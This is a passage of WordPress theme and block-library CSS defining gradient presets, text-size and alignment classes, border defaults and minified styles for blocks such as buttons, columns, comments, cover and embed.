  background:linear-gradient(135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .has-hazy-dawn-gradient-background{
  background:linear-gradient(135deg, #faaca8, #dad0ec);
}
:root .has-subdued-olive-gradient-background{
  background:linear-gradient(135deg, #fafae1, #67a671);
}
:root .has-atomic-cream-gradient-background{
  background:linear-gradient(135deg, #fdd79a, #004a59);
}
:root .has-nightshade-gradient-background{
  background:linear-gradient(135deg, #330968, #31cdcf);
}
:root .has-midnight-gradient-background{
  background:linear-gradient(135deg, #020381, #2874fc);
}

.has-regular-font-size{
  font-size:1em;
}

.has-larger-font-size{
  font-size:2.625em;
}

.has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

.has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}

.has-text-align-center{
  text-align:center;
}

.has-text-align-left{
  text-align:left;
}

.has-text-align-right{
  text-align:right;
}

#end-resizable-editor-section{
  display:none;
}

.aligncenter{
  clear:both;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

.screen-reader-text{
  border:0;
  clip:rect(1px, 1px, 1px, 1px);
  -webkit-clip-path:inset(50%);
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.screen-reader-text:focus{
  background-color:#ddd;
  clip:auto !important;
  -webkit-clip-path:none;
          clip-path:none;
  color:#444;
  display:block;
  font-size:1em;
  height:auto;
  left:5px;
  line-height:normal;
  padding:15px 23px 14px;
  text-decoration:none;
  top:5px;
  width:auto;
  z-index:100000;
}
html :where(.has-border-color){
  border-style:solid;
}

html :where([style*=border-top-color]){
  border-top-style:solid;
}

html :where([style*=border-right-color]){
  border-right-style:solid;
}

html :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}

html :where([style*=border-left-color]){
  border-left-style:solid;
}

html :where([style*=border-width]){
  border-style:solid;
}

html :where([style*=border-top-width]){
  border-top-style:solid;
}

html :where([style*=border-right-width]){
  border-right-style:solid;
}

html :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}

html :where([style*=border-left-width]){
  border-left-style:solid;
}
html :where(img[class*=wp-image-]){
  height:auto;
  max-width:100%;
}
:where(figure){
  margin:0 0 1em;
}

html :where(.is-position-sticky){
  --wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height, 0px);
}

@media screen and (max-width:600px){
  html :where(.is-position-sticky){
    --wp-admin--admin-bar--position-offset:0px;
  }
}@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{border:2px solid;padding:.667em 1.333em}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){color:currentColor}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){background-color:initial;background-image:none}.wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-left-width:medium}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-button.aligncenter,.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-code{box-sizing:border-box}.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:left}.wp-block-post-comments .alignright{float:right}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-content:center}.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-left:2rem}.wp-block-comment-template.alignleft{float:left}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:-moz-fit-content;width:fit-content}.wp-block-comment-template.alignright{float:right}.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0;z-index:1}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{content:"";display:block;font-size:0;min-height:inherit}@supports (position:sticky){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;width:100%;z-index:1}.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}.wp-block-details{box-sizing:border-box;overflow:hidden}.wp-block-details summary{cursor:pointer}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file 